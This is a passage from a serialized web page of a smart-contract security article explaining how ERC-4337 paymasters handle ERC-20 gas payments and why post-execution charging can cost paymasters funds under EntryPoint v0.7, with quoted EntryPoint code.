",{"type":26,"tag":53,"props":103906,"children":103908},{"className":103907},[],[103909],{"type":32,"value":101614},{"type":32,"value":103911}," to be executed by themselves and profit if the penalty they can extract from the paymaster exceeds their own gas costs paid to the paymaster. In SEND's case, fortunately, because they operate their own bundler, any penalties incurred flow back to their controlled bundler, creating a closed economic loop that mitigates this particular attack vector.",{"type":26,"tag":27,"props":103913,"children":103915},{"id":103914},"incorrect-erc-20-handling",[103916],{"type":26,"tag":105,"props":103917,"children":103918},{},[103919],{"type":32,"value":103920},"Incorrect ERC-20 Handling",{"type":26,"tag":35,"props":103922,"children":103923},{},[103924],{"type":32,"value":103925},"To improve user experience, some protocols introduced ERC-20 paymasters that allow users to pay transaction gas fees using ERC-20 tokens instead of native ETH (Just like what SEND did in the above code). The core concept is quite straightforward, the paymaster fronts the ETH gas costs to bundlers, then charges users an equivalent amount in ERC-20 tokens based on current market rates. However, implementing this token-to-ETH conversion and payment flow securely requires careful consideration.",{"type":26,"tag":35,"props":103927,"children":103928},{},[103929,103930,103935,103937,103942],{"type":32,"value":44989},{"type":26,"tag":53,"props":103931,"children":103933},{"className":103932},[],[103934],{"type":32,"value":101695},{"type":32,"value":103936}," flow above, we can see that paymasters have two key interaction points during a ",{"type":26,"tag":53,"props":103938,"children":103940},{"className":103939},[],[103941],{"type":32,"value":101614},{"type":32,"value":103943},"'s lifecycle:",{"type":26,"tag":181,"props":103945,"children":103946},{},[103947,103957],{"type":26,"tag":86,"props":103948,"children":103949},{},[103950,103952],{"type":32,"value":103951},"During validation via ",{"type":26,"tag":53,"props":103953,"children":103955},{"className":103954},[],[103956],{"type":32,"value":101802},{"type":26,"tag":86,"props":103958,"children":103959},{},[103960,103962],{"type":32,"value":103961},"After execution via ",{"type":26,"tag":53,"props":103963,"children":103965},{"className":103964},[],[103966],{"type":32,"value":101813},{"type":26,"tag":35,"props":103968,"children":103969},{},[103970],{"type":32,"value":103971},"This dual-interaction model has led to two predominant patterns for handling ERC-20 payments in paymaster implementations:",{"type":26,"tag":41,"props":103973,"children":103975},{"id":103974},"_1-pre-payment-with-refund-pattern",[103976],{"type":32,"value":103977},"1. Pre-Payment with Refund Pattern",{"type":26,"tag":35,"props":103979,"children":103980},{},[103981,103983,103988,103990,103995,103997,104003,104004,104010,104012,104017,104019,104024,104026,104031],{"type":32,"value":103982},"In this model, the paymaster requires users to pre-pay the maximum possible gas cost in ERC-20 tokens during ",{"type":26,"tag":53,"props":103984,"children":103986},{"className":103985},[],[103987],{"type":32,"value":101802},{"type":32,"value":103989},". After execution completes, ",{"type":26,"tag":53,"props":103991,"children":103993},{"className":103992},[],[103994],{"type":32,"value":101813},{"type":32,"value":103996}," refunds any excess tokens based on actual gas consumed. This is analogous to how regular ETH gas payments work. Several protocols like ",{"type":26,"tag":53,"props":103998,"children":104000},{"className":103999},[],[104001],{"type":32,"value":104002},"SEND",{"type":32,"value":209},{"type":26,"tag":53,"props":104005,"children":104007},{"className":104006},[],[104008],{"type":32,"value":104009},"Circle",{"type":32,"value":104011}," have implemented this approach. However, this pattern has one key disadvantage: users must first approve the paymaster to spend their ERC20 tokens before submitting any ",{"type":26,"tag":53,"props":104013,"children":104015},{"className":104014},[],[104016],{"type":32,"value":101643},{"type":32,"value":104018},". This additional setup step is required to ensure the paymaster can successfully deduct tokens ",{"type":26,"tag":105,"props":104020,"children":104021},{},[104022],{"type":32,"value":104023},"before",{"type":32,"value":104025}," execution (specifically during ",{"type":26,"tag":53,"props":104027,"children":104029},{"className":104028},[],[104030],{"type":32,"value":103856},{"type":32,"value":20450},{"type":26,"tag":41,"props":104033,"children":104035},{"id":104034},"_2-post-execution-charging-pattern",[104036],{"type":32,"value":104037},"2. Post-Execution Charging Pattern",{"type":26,"tag":35,"props":104039,"children":104040},{},[104041,104043,104048,104050,104055,104057,104062,104064,104069],{"type":32,"value":104042},"This alternative approach defers token collection until after execution. Instead of charging a prefund during ",{"type":26,"tag":53,"props":104044,"children":104046},{"className":104045},[],[104047],{"type":32,"value":101802},{"type":32,"value":104049},", the actual token payment is calculated and collected in ",{"type":26,"tag":53,"props":104051,"children":104053},{"className":104052},[],[104054],{"type":32,"value":101813},{"type":32,"value":104056}," based on the exact gas consumed. At first glance, this appears to be the most user-friendly pattern since users can bundle their token approval transaction within the same ",{"type":26,"tag":53,"props":104058,"children":104060},{"className":104059},[],[104061],{"type":32,"value":101614},{"type":32,"value":104063},", eliminating the need for a separate pre-approval transaction before submitting the ",{"type":26,"tag":53,"props":104065,"children":104067},{"className":104066},[],[104068],{"type":32,"value":101915},{"type":32,"value":104070},". This means users could interact with the paymaster without any prior setup.",{"type":26,"tag":35,"props":104072,"children":104073},{},[104074,104076,104081,104083,104089,104091,104097,104099,104104],{"type":32,"value":104075},"This approach used to work in ",{"type":26,"tag":53,"props":104077,"children":104079},{"className":104078},[],[104080],{"type":32,"value":101695},{"type":32,"value":104082}," version ",{"type":26,"tag":53,"props":104084,"children":104086},{"className":104085},[],[104087],{"type":32,"value":104088},"v0.6",{"type":32,"value":104090},", but the pattern no longer works in ",{"type":26,"tag":53,"props":104092,"children":104094},{"className":104093},[],[104095],{"type":32,"value":104096},"v0.7",{"type":32,"value":104098},". In fact, using this pattern can lead to loss of funds for the paymaster. Let's take a closer look at how ",{"type":26,"tag":53,"props":104100,"children":104102},{"className":104101},[],[104103],{"type":32,"value":104096},{"type":32,"value":104105}," handles the execution phase:",{"type":26,"tag":465,"props":104107,"children":104109},{"className":4186,"code":104108,"language":4185,"meta":7,"style":7}," function _executeUserOp(\n uint256 opIndex,\n PackedUserOperation calldata userOp,\n UserOpInfo memory opInfo\n )\n internal virtual\n returns (uint256 collected) {\n [...]\n bool success;\n {\n [...]\n if (methodSig == IAccountExecute.executeUserOp.selector) {\n bytes memory executeUserOp = abi.encodeCall(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n innerCall = abi.encodeCall(this.innerHandleOp, (executeUserOp, opInfo, context));\n } else\n {\n innerCall = abi.encodeCall(this.innerHandleOp, (callData, opInfo, context));\n }\n assembly (\"memory-safe\") {\n success := call(gas(), address(), 0, add(innerCall, 0x20), mload(innerCall), 0, 32)\n collected := mload(0)\n }\n _restoreFreePtr(saveFreePtr);\n }\n if (!success) {\n [...]\n if (innerRevertCode == INNER_OUT_OF_GAS) {\n // handleOps was called with gas limit too low. abort entire bundle.\n // can only be caused by bundler (leaving not enough gas for inner call)\n revert FailedOp(opIndex, \"AA95 out of gas\");\n } else if (innerRevertCode == INNER_REVERT_LOW_PREFUND) {\n // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n uint256 actualGasCost = opInfo.prefund;\n _emitPrefundTooLow(opInfo);\n _emitUserOperationEvent(opInfo, false, actualGasCost, actualGas);\n collected = actualGasCost;\n } else {\n [...]\n collected = _postExecution(\n IPaymaster.PostOpMode.postOpReverted,\n opInfo,\n context,\n actualGas\n );\n }\n }\n }\n",[104110],{"type":26,"tag":53,"props":104111,"children":104112},{"__ignoreMap":7},[104113,104129,104145,104165,104182,104189,104202,104226,104234,104247,104254,104261,104282,104321,104358,104370,104377,104413,104420,104441,104530,104559,104566,104579,104586,104606,104613,104634,104642,104650,104677,104705,104713,104756,104776,104789,104811,104827,104842,104849,104869,104877,104885,104893,104901,104909,104916,104923],{"type":26,"tag":475,"props":104114,"children":104115},{"class":477,"line":478},[104116,104120,104125],{"type":26,"tag":475,"props":104117,"children":104118},{"style":482},[104119],{"type":32,"value":89451},{"type":26,"tag":475,"props":104121,"children":104122},{"style":493},[104123],{"type":32,"value":104124}," _executeUserOp",{"type":26,"tag":475,"props":104126,"children":104127},{"style":499},[104128],{"type":32,"value":3169},{"type":26,"tag":475,"props":104130,"children":104131},{"class":477,"line":516},[104132,104136,104141],{"type":26,"tag":475,"props":104133,"children":104134},{"style":505},[104135],{"type":32,"value":89629},{"type":26,"tag":475,"props":104137,"children":104138},{"style":2375},[104139],{"type":32,"value":104140}," opIndex",{"type":26,"tag":475,"props":104142,"children":104143},{"style":499},[104144],{"type":32,"value":2425},{"type":26,"tag":475,"props":104146,"children":104147},{"class":477,"line":539},[104148,104153,104157,104161],{"type":26,"tag":475,"props":104149,"children":104150},{"style":482},[104151],{"type":32,"value":104152}," PackedUserOperation",{"type":26,"tag":475,"props":104154,"children":104155},{"style":482},[104156],{"type":32,"value":102444},{"type":26,"tag":475,"props":104158,"children":104159},{"style":2375},[104160],{"type":32,"value":102449},{"type":26,"tag":475,"props":104162,"children":104163},{"style":499},[104164],{"type":32,"value":2425},{"type":26,"tag":475,"props":104166,"children":104167},{"class":477,"line":548},[104168,104173,104177],{"type":26,"tag":475,"props":104169,"children":104170},{"style":482},[104171],{"type":32,"value":104172}," UserOpInfo",{"type":26,"tag":475,"props":104174,"children":104175},{"style":482},[104176],{"type":32,"value":102512},{"type":26,"tag":475,"props":104178,"children":104179},{"style":2375},[104180],{"type":32,"value":104181}," opInfo\n",{"type":26,"tag":475,"props":104183,"children":104184},{"class":477,"line":558},[104185],{"type":26,"tag":475,"props":104186,"children":104187},{"style":499},[104188],{"type":32,"value":23620},{"type":26,"tag":475,"props":104190,"children":104191},{"class":477,"line":582},[104192,104197],{"type":26,"tag":475,"props":104193,"children":104194},{"style":482},[104195],{"type":32,"value":104196}," internal",{"type":26,"tag":475,"props":104198,"children":104199},{"style":482},[104200],{"type":32,"value":104201}," virtual\n",{"type":26,"tag":475,"props":104203,"children":104204},{"class":477,"line":596},[104205,104209,104213,104217,104222],{"type":26,"tag":475,"props":104206,"children":104207},{"style":586},[104208],{"type":32,"value":46202},{"type":26,"tag":475,"props":104210,"children":104211},{"style":499},[104212],{"type":32,"value":2775},{"type":26,"tag":475,"props":104214,"children":104215},{"style":505},[104216],{"type":32,"value":45861},{"type":26,"tag":475,"props":104218,"children":104219},{"style":2375},[104220],{"type":32,"value":104221}," collected",{"type":26,"tag":475,"props":104223,"children":104224},{"style":499},[104225],{"type":32,"value":676},{"type":26,"tag":475,"props":104227,"children":104228},{"class":477,"line":610},[104229],{"type":26,"tag":475,"props":104230,"children":104231},{"style":499},[104232],{"type":32,"value":104233}," [...]\n",{"type":26,"tag":475,"props":104235,"children":104236},{"class":477,"line":650},[104237,104242],{"type":26,"tag":475,"props":104238,"children":104239},{"style":505},[104240],{"type":32,"value":104241}," bool",{"type":26,"tag":475,"props":104243,"children":104244},{"style":499},[104245],{"type":32,"value":104246}," success;\n",{"type":26,"tag":475,"props":104248,"children":104249},{"class":477,"line":679},[104250],{"type":26,"tag":475,"props":104251,"children":104252},{"style":499},[104253],{"type":32,"value":31359},{"type":26,"tag":475,"props":104255,"children":104256},{"class":477,"line":735},[104257],{"type":26,"tag":475,"props":104258,"children":104259},{"style":499},[104260],{"type":32,"value":104233},{"type":26,"tag":475,"props":104262,"children":104263},{"class":477,"line":744},[104264,104268,104273,104277],{"type":26,"tag":475,"props":104265,"children":104266},{"style":586},[104267],{"type":32,"value":58493},{"type":26,"tag":475,"props":104269,"children":104270},{"style":499},[104271],{"type":32,"value":104272}," (methodSig ",{"type":26,"tag":475,"props":104274,"children":104275},{"style":714},[104276],{"type":32,"value":8287},{"type":26,"tag":475,"props":104278,"children":104279},{"style":499},[104280],{"type":32,"value":104281}," IAccountExecute.executeUserOp.selector) {\n",{"type":26,"tag":475,"props":104283,"children":104284},{"class":477,"line":753},[104285,104290,104294,104299,104303,104307,104311,104316],{"type":26,"tag":475,"props":104286,"children":104287},{"style":505},[104288],{"type":32,"value":104289}," bytes",{"type":26,"tag":475,"props":104291,"children":104292},{"style":482},[104293],{"type":32,"value":102512},{"type":26,"tag":475,"props":104295,"children":104296},{"style":499},[104297],{"type":32,"value":104298}," executeUserOp ",{"type":26,"tag":475,"props":104300,"children":104301},{"style":714},[104302],{"type":32,"value":786},{"type":26,"tag":475,"props":104304,"children":104305},{"style":482},[104306],{"type":32,"value":103109},{"type":26,"tag":475,"props":104308,"children":104309},{"style":499},[104310],{"type":32,"value":353},{"type":26,"tag":475,"props":104312,"children":104313},{"style":493},[104314],{"type":32,"value":104315},"encodeCall",{"type":26,"tag":475,"props":104317,"children":104318},{"style":499},[104319],{"type":32,"value":104320},"(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n",{"type":26,"tag":475,"props":104322,"children":104323},{"class":477,"line":761},[104324,104329,104333,104337,104341,104345,104349,104353],{"type":26,"tag":475,"props":104325,"children":104326},{"style":499},[104327],{"type":32,"value":104328}," innerCall ",{"type":26,"tag":475,"props":104330,"children":104331},{"style":714},[104332],{"type":32,"value":786},{"type":26,"tag":475,"props":104334,"children":104335},{"style":482},[104336],{"type":32,"value":103109},{"type":26,"tag":475,"props":104338,"children":104339},{"style":499},[104340],{"type":32,"value":353},{"type":26,"tag":475,"props":104342,"children":104343},{"style":493},[104344],{"type":32,"value":104315},{"type":26,"tag":475,"props":104346,"children":104347},{"style":499},[104348],{"type":32,"value":626},{"type":26,"tag":475,"props":104350,"children":104351},{"style":482},[104352],{"type":32,"value":17400},{"type":26,"tag":475,"props":104354,"children":104355},{"style":499},[104356],{"type":32,"value":104357},".innerHandleOp, (executeUserOp, opInfo, context));\n",{"type":26,"tag":475,"props":104359,"children":104360},{"class":477,"line":770},[104361,104365],{"type":26,"tag":475,"props":104362,"children":104363},{"style":499},[104364],{"type":32,"value":656},{"type":26,"tag":475,"props":104366,"children":104367},{"style":586},[104368],{"type":32,"value":104369},"else\n",{"type":26,"tag":475,"props":104371,"children":104372},{"class":477,"line":794},[104373],{"type":26,"tag":475,"props":104374,"children":104375},{"style":499},[104376],{"type":32,"value":31395},{"type":26,"tag":475,"props":104378,"children":104379},{"class":477,"line":831},[104380,104384,104388,104392,104396,104400,104404,104408],{"type":26,"tag":475,"props":104381,"children":104382},{"style":499},[104383],{"type":32,"value":104328},{"type":26,"tag":475,"props":104385,"children":104386},{"style":714},[104387],{"type":32,"value":786},{"type":26,"tag":475,"props":104389,"children":104390},{"style":482},[104391],{"type":32,"value":103109},{"type":26,"tag":475,"props":104393,"children":104394},{"style":499},[104395],{"type":32,"value":353},{"type":26,"tag":475,"props":104397,"children":104398},{"style":493},[104399],{"type":32,"value":104315},{"type":26,"tag":475,"props":104401,"children":104402},{"style":499},[104403],{"type":32,"value":626},{"type":26,"tag":475,"props":104405,"children":104406},{"style":482},[104407],{"type":32,"value":17400},{"type":26,"tag":475,"props":104409,"children":104410},{"style":499},[104411],{"type":32,"value":104412},".innerHandleOp, (callData, opInfo, context));\n",{"type":26,"tag":475,"props":104414,"children":104415},{"class":477,"line":845},[104416],{"type":26,"tag":475,"props":104417,"children":104418},{"style":499},[104419],{"type":32,"value":741},{"type":26,"tag":475,"props":104421,"children":104422},{"class":477,"line":854},[104423,104428,104432,104437],{"type":26,"tag":475,"props":104424,"children":104425},{"style":493},[104426],{"type":32,"value":104427}," assembly",{"type":26,"tag":475,"props":104429,"children":104430},{"style":499},[104431],{"type":32,"value":2775},{"type":26,"tag":475,"props":104433,"children":104434},{"style":629},[104435],{"type":32,"value":104436},"\"memory-safe\"",{"type":26,"tag":475,"props":104438,"children":104439},{"style":499},[104440],{"type":32,"value":676},{"type":26,"tag":475,"props":104442,"children":104443},{"class":477,"line":862},[104444,104449,104453,104457,104461,104466,104470,104474,104478,104482,104486,104490,104495,104500,104504,104509,104514,104518,104522,104526],{"type":26,"tag":475,"props":104445,"children":104446},{"style":499},[104447],{"type":32,"value":104448}," success ",{"type":26,"tag":475,"props":104450,"children":104451},{"style":714},[104452],{"type":32,"value":21315},{"type":26,"tag":475,"props":104454,"children":104455},{"style":493},[104456],{"type":32,"value":40651},{"type":26,"tag":475,"props":104458,"children":104459},{"style":499},[104460],{"type":32,"value":626},{"type":26,"tag":475,"props":104462,"children":104463},{"style":493},[104464],{"type":32,"value":104465},"gas",{"type":26,"tag":475,"props":104467,"children":104468},{"style":499},[104469],{"type":32,"value":18083},{"type":26,"tag":475,"props":104471,"children":104472},{"style":505},[104473],{"type":32,"value":32339},{"type":26,"tag":475,"props":104475,"children":104476},{"style":499},[104477],{"type":32,"value":18083},{"type":26,"tag":475,"props":104479,"children":104480},{"style":903},[104481],{"type":32,"value":3732},{"type":26,"tag":475,"props":104483,"children":104484},{"style":499},[104485],{"type":32,"value":637},{"type":26,"tag":475,"props":104487,"children":104488},{"style":493},[104489],{"type":32,"value":9346},{"type":26,"tag":475,"props":104491,"children":104492},{"style":499},[104493],{"type":32,"value":104494},"(innerCall, ",{"type":26,"tag":475,"props":104496,"children":104497},{"style":903},[104498],{"type":32,"value":104499},"0x20",{"type":26,"tag":475,"props":104501,"children":104502},{"style":499},[104503],{"type":32,"value":14883},{"type":26,"tag":475,"props":104505,"children":104506},{"style":493},[104507],{"type":32,"value":104508},"mload",{"type":26,"tag":475,"props":104510,"children":104511},{"style":499},[104512],{"type":32,"value":104513},"(innerCall), ",{"type":26,"tag":475,"props":104515,"children":104516},{"style":903},[104517],{"type":32,"value":3732},{"type":26,"tag":475,"props":104519,"children":104520},{"style":499},[104521],{"type":32,"value":637},{"type":26,"tag":475,"props":104523,"children":104524},{"style":903},[104525],{"type":32,"value":60038},{"type":26,"tag":475,"props":104527,"children":104528},{"style":499},[104529],{"type":32,"value":647},{"type":26,"tag":475,"props":104531,"children":104532},{"class":477,"line":885},[104533,104538,104542,104547,104551,104555],{"type":26,"tag":475,"props":104534,"children":104535},{"style":499},[104536],{"type":32,"value":104537}," collected ",{"type":26,"tag":475,"props":104539,"children":104540},{"style":714},[104541],{"type":32,"value":21315},{"type":26,"tag":475,"props":104543,"children":104544},{"style":493},[104545],{"type":32,"value":104546}," mload",{"type":26,"tag":475,"props":104548,"children":104549},{"style":499},[104550],{"type":32,"value":626},{"type":26,"tag":475,"props":104552,"children":104553},{"style":903},[104554],{"type":32,"value":3732},{"type":26,"tag":475,"props":104556,"children":104557},{"style":499},[104558],{"type":32,"value":647},{"type":26,"tag":475,"props":104560,"children":104561},{"class":477,"line":913},[104562],{"type":26,"tag":475,"props":104563,"children":104564},{"style":499},[104565],{"type":32,"value":741},{"type":26,"tag":475,"props":104567,"children":104568},{"class":477,"line":926},[104569,104574],{"type":26,"tag":475,"props":104570,"children":104571},{"style":493},[104572],{"type":32,"value":104573}," _restoreFreePtr",{"type":26,"tag":475,"props":104575,"children":104576},{"style":499},[104577],{"type":32,"value":104578},"(saveFreePtr);\n",{"type":26,"tag":475,"props":104580,"children":104581},{"class":477,"line":948},[104582],{"type":26,"tag":475,"props":104583,"children":104584},{"style":499},[104585],{"type":32,"value":750},{"type":26,"tag":475,"props":104587,"children":104588},{"class":477,"line":966},[104589,104593,104597,104601],{"type":26,"tag":475,"props":104590,"children":104591},{"style":586},[104592],{"type":32,"value":2980},{"type":26,"tag":475,"props":104594,"children":104595},{"style":499},[104596],{"type":32,"value":2775},{"type":26,"tag":475,"props":104598,"children":104599},{"style":714},[104600],{"type":32,"value":20329},{"type":26,"tag":475,"props":104602,"children":104603},{"style":499},[104604],{"type":32,"value":104605},"success) {\n",{"type":26,"tag":475,"props":104607,"children":104608},{"class":477,"line":979},[104609],{"type":26,"tag":475,"props":104610,"children":104611},{"style":499},[104612],{"type":32,"value":104233},{"type":26,"tag":475,"props":104614,"children":104615},{"class":477,"line":1006},[104616,104620,104625,104629],{"type":26,"tag":475,"props":104617,"children":104618},{"style":586},[104619],{"type":32,"value":58493},{"type":26,"tag":475,"props":104621,"children":104622},{"style":499},[104623],{"type":32,"value":104624}," (innerRevertCode ",{"type":26,"tag":475,"props":104626,"children":104627},{"style":714},[104628],{"type":32,"value":8287},{"type":26,"tag":475,"props":104630,"children":104631},{"style":499},[104632],{"type":32,"value":104633}," INNER_OUT_OF_GAS) {\n",{"type":26,"tag":475,"props":104635,"children":104636},{"class":477,"line":1046},[104637],{"type":26,"tag":475,"props":104638,"children":104639},{"style":552},[104640],{"type":32,"value":104641}," // handleOps was called with gas limit too low. abort entire bundle.\n",{"type":26,"tag":475,"props":104643,"children":104644},{"class":477,"line":1068},[104645],{"type":26,"tag":475,"props":104646,"children":104647},{"style":552},[104648],{"type":32,"value":104649}," // can only be caused by bundler (leaving not enough gas for inner call)\n",{"type":26,"tag":475,"props":104651,"children":104652},{"class":477,"line":1077},[104653,104658,104663,104668,104673],{"type":26,"tag":475,"props":104654,"children":104655},{"style":586},[104656],{"type":32,"value":104657}," revert",{"type":26,"tag":475,"props":104659,"children":104660},{"style":493},[104661],{"type":32,"value":104662}," FailedOp",{"type":26,"tag":475,"props":104664,"children":104665},{"style":499},[104666],{"type":32,"value":104667},"(opIndex, ",{"type":26,"tag":475,"props":104669,"children":104670},{"style":629},[104671],{"type":32,"value":104672},"\"AA95 out of gas\"",{"type":26,"tag":475,"props":104674,"children":104675},{"style":499},[104676],{"type":32,"value":3533},{"type":26,"tag":475,"props":104678,"children":104679},{"class":477,"line":1090},[104680,104684,104688,104692,104696,104700],{"type":26,"tag":475,"props":104681,"children":104682},{"style":499},[104683],{"type":32,"value":656},{"type":26,"tag":475,"props":104685,"children":104686},{"style":586},[104687],{"type":32,"value":3023},{"type":26,"tag":475,"props":104689,"children":104690},{"style":586},[104691],{"type":32,"value":15493},{"type":26,"tag":475,"props":104693,"children":104694},{"style":499},[104695],{"type":32,"value":104624},{"type":26,"tag":475,"props":104697,"children":104698},{"style":714},[104699],{"type":32,"value":8287},{"type":26,"tag":475,"props":104701,"children":104702},{"style":499},[104703],{"type":32,"value":104704}," INNER_REVERT_LOW_PREFUND) {\n",{"type":26,"tag":475,"props":104706,"children":104707},{"class":477,"line":1119},[104708],{"type":26,"tag":475,"props":104709,"children":104710},{"style":552},[104711],{"type":32,"value":104712}," // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n",{"type":26,"tag":475,"props":104714,"children":104715},{"class":477,"line":1132},[104716,104720,104725,104729,104734,104738,104743,104747,104751],{"type":26,"tag":475,"props":104717,"children":104718},{"style":505},[104719],{"type":32,"value":102892},{"type":26,"tag":475,"props":104721,"children":104722},{"style":499},[104723],{"type":32,"value":104724}," actualGas ",{"type":26,"tag":475,"props":104726,"children":104727},{"style":714},[104728],{"type":32,"value":786},{"type":26,"tag":475,"props":104730,"children":104731},{"style":499},[104732],{"type":32,"value":104733}," preGas ",{"type":26,"tag":475,"props":104735,"children":104736},{"style":714},[104737],{"type":32,"value":4039},{"type":26,"tag":475,"props":104739,"children":104740},{"style":482},[104741],{"type":32,"value":104742}," gasleft",{"type":26,"tag":475,"props":104744,"children":104745},{"style":499},[104746],{"type":32,"value":13750},{"type":26,"tag":475,"props":104748,"children":104749},{"style":714},[104750],{"type":32,"value":1106},{"type":26,"tag":475,"props":104752,"children":104753},{"style":499},[104754],{"type":32,"value":104755}," opInfo.preOpGas;\n",{"type":26,"tag":475,"props":104757,"children":104758},{"class":477,"line":1146},[104759,104763,104767,104771],{"type":26,"tag":475,"props":104760,"children":104761},{"style":505},[104762],{"type":32,"value":102892},{"type":26,"tag":475,"props":104764,"children":104765},{"style":499},[104766],{"type":32,"value":103539},{"type":26,"tag":475,"props":104768,"children":104769},{"style":714},[104770],{"type":32,"value":786},{"type":26,"tag":475,"props":104772,"children":104773},{"style":499},[104774],{"type":32,"value":104775}," opInfo.prefund;\n",{"type":26,"tag":475,"props":104777,"children":104778},{"class":477,"line":1155},[104779,104784],{"type":26,"tag":475,"props":104780,"children":104781},{"style":493},[104782],{"type":32,"value":104783}," _emitPrefundTooLow",{"type":26,"tag":475,"props":104785,"children":104786},{"style":499},[104787],{"type":32,"value":104788},"(opInfo);\n",{"type":26,"tag":475,"props":104790,"children":104791},{"class":477,"line":1163},[104792,104797,104802,104806],{"type":26,"tag":475,"props":104793,"children":104794},{"style":493},[104795],{"type":32,"value":104796}," _emitUserOperationEvent",{"type":26,"tag":475,"props":104798,"children":104799},{"style":499},[104800],{"type":32,"value":104801},"(opInfo, ",{"type":26,"tag":475,"props":104803,"children":104804},{"style":482},[104805],{"type":32,"value":7886},{"type":26,"tag":475,"props":104807,"children":104808},{"style":499},[104809],{"type":32,"value":104810},", actualGasCost, actualGas);\n",{"type":26,"tag":475,"props":104812,"children":104813},{"class":477,"line":1172},[104814,104818,104822],{"type":26,"tag":475,"props":104815,"children":104816},{"style":499},[104817],{"type":32,"value":104537},{"type":26,"tag":475,"props":104819,"children":104820},{"style":714},[104821],{"type":32,"value":786},{"type":26,"tag":475,"props":104823,"children":104824},{"style":499},[104825],{"type":32,"value":104826}," actualGasCost;\n",{"type":26,"tag":475,"props":104828,"children":104829},{"class":477,"line":1181},[104830,104834,104838],{"type":26,"tag":475,"props":104831,"children":104832},{"style":499},[104833],{"type":32,"value":656},{"type":26,"tag":475,"props":104835,"children":104836},{"style":586},[104837],{"type":32,"value":3023},{"type":26,"tag":475,"props":104839,"children":104840},{"style":499},[104841],{"type":32,"value":579},{"type":26,"tag":475,"props":104843,"children":104844},{"class":477,"line":1189},[104845],{"type":26,"tag":475,"props":104846,"children":104847},{"style":499},[104848],{"type":32,"value":104233},{"type":26,"tag":475,"props":104850,"children":104851},{"class":477,"line":1221},[104852,104856,104860,104865],{"type":26,"tag":475,"props":104853,"children":104854},{"style":499},[104855],{"type":32,"value":104537},{"type":26,"tag":475,"props":104857,"children":104858},{"style":714},[104859],{"type":32,"value":786},{"type":26,"tag":475,"props":104861,"children":104862},{"style":493},[104863],{"type":32,"value":104864}," _postExecution",{"type":26,"tag":475,"props":104866,"children":104867},{"style":499},[104868],{"type":32,"value":3169},{"type":26,"tag":475,"props":104870,"children":104871},{"class":477,"line":1848},[104872],{"type":26,"tag":475,"props":104873,"children":104874},{"style":499},[104875],{"type":32,"value":104876}," IPaymaster.PostOpMode.postOpReverted,\n",{"type":26,"tag":475,"props":104878,"children":104879},{"class":477,"line":1857},[104880],{"type":26,"tag":475,"props":104881,"children":104882},{"style":499},[104883],{"type":32,"value":104884}," opInfo,\n",{"type":26,"tag":475,"props":104886,"children":104887},{"class":477,"line":1866},[104888],{"type":26,"tag":475,"props":104889,"children":104890},{"style":499},[104891],{"type":32,"value":104892}," context,\n",{"type":26,"tag":475,"props":104894,"children":104895},{"class":477,"line":1875},[104896],{"type":26,"tag":475,"props":104897,"children":104898},{"style":499},[104899],{"type":32,"value":104900}," actualGas\n",{"type":26,"tag":475,"props":104902,"children":104903},{"class":477,"line":1883},[104904],{"type":26,"tag":475,"props":104905,"children":104906},{"style":499},[104907],{"type":32,"value":104908}," );\n",{"type":26,"tag":475,"props":104910,"children":104911},{"class":477,"line":1892},[104912],{"type":26,"tag":475,"props":104913,"children":104914},{"style":499},[104915],{"type":32,"value":741},{"type":26,"tag":475,"props":104917,"children":104918},{"class":477,"line":1901},[104919],{"type":26,"tag":475,"props":104920,"children":104921},{"style":499},[104922],{"type":32,"value":750},{"type":26,"tag":475,"props":104924,"children":104925},{"class":477,"line":1910},[104926],{"type":26,"tag":475,"props":104927,"children":104928},{"style":499},[104929],{"type":32,"value":851},{"type":26,"tag":35,"props":104931,"children":104932},{},[104933,104935,104940,104942,104948,104950,104956,104958,104964],{"type":32,"value":104934},"During execution, the ",{"type":26,"tag":53,"props":104936,"children":104938},{"className":104937},[],[104939],{"type":32,"value":101695},{"type":32,"value":104941}," contract makes a ",{"type":26,"tag":116,"props":104943,"children":104946},{"href":104944,"rel":104945},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L222-L232",[120],[104947],{"type":32,"value":37989},{"type":32,"value":104949}," to its own ",{"type":26,"tag":53,"props":104951,"children":104953},{"className":104952},[],[104954],{"type":32,"value":104955},"innerHandleOp",{"type":32,"value":104957}," function through a low-level ",{"type":26,"tag":53,"props":104959,"children":104961},{"className":104960},[],[104962],{"type":32,"value":104963},"call()",{"type":32,"value":104965},". This is done to create a new call context for executing the user operation.",{"type":26,"tag":35,"props":104967,"children":104968},{},[104969,104971,104977,104978,104983,104985,104992,104994,105000],{"type":32,"value":104970},"If this call fails (when ",{"type":26,"tag":53,"props":104972,"children":104974},{"className":104973},[],[104975],{"type":32,"value":104976},"success",{"type":32,"value":5213},{"type":26,"tag":53,"props":104979,"children":104981},{"className":104980},[],[104982],{"type":32,"value":7886},{"type":32,"value":104984},"), the code enters an ",{"type":26,"tag":116,"props":104986,"children":104989},{"href":104987,"rel":104988},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L235-L273",[120],[104990],{"type":32,"value":104991},"error handling",{"type":32,"value":104993}," flow that checks the ",{"type":26,"tag":53,"props":104995,"children":104997},{"className":104996},[],[104998],{"type":32,"value":104999},"innerRevertCode",{"type":32,"value":105001},". There are three possible paths:",{"type":26,"tag":181,"props":105003,"children":105004},{},[105005,105029,105047],{"type":26,"tag":86,"props":105006,"children":105007},{},[105008,105009,105014,105015,105021,105023,105028],{"type":32,"value":7192},{"type":26,"tag":53,"props":105010,"children":105012},{"className":105011},[],[105013],{"type":32,"value":104999},{"type":32,"value":5213},{"type":26,"tag":53,"props":105016,"children":105018},{"className":105017},[],[105019],{"type":32,"value":105020},"INNER_OUT_OF_GAS",{"type":32,"value":105022},", it means the bundler didn't provide enough gas for execution. This causes the entire bundle to fail with ",{"type":26,"tag":53,"props":105024,"children":105026},{"className":105025},[],[105027],{"type":32,"value":104672},{"type":32,"value":353},{"type":26,"tag":86,"props":105030,"children":105031},{},[105032,105033,105038,105039,105045],{"type":32,"value":7192},{"type":26,"tag":53,"props":105034,"children":105036},{"className":105035},[],[105037],{"type":32,"value":104999},{"type":32,"value":5213},{"type":26,"tag":53,"props":105040,"children":105042},{"className":105041},[],[105043],{"type":32,"value":105044},"INNER_REVERT_LOW_PREFUND",{"type":32,"value":105046},", it means the 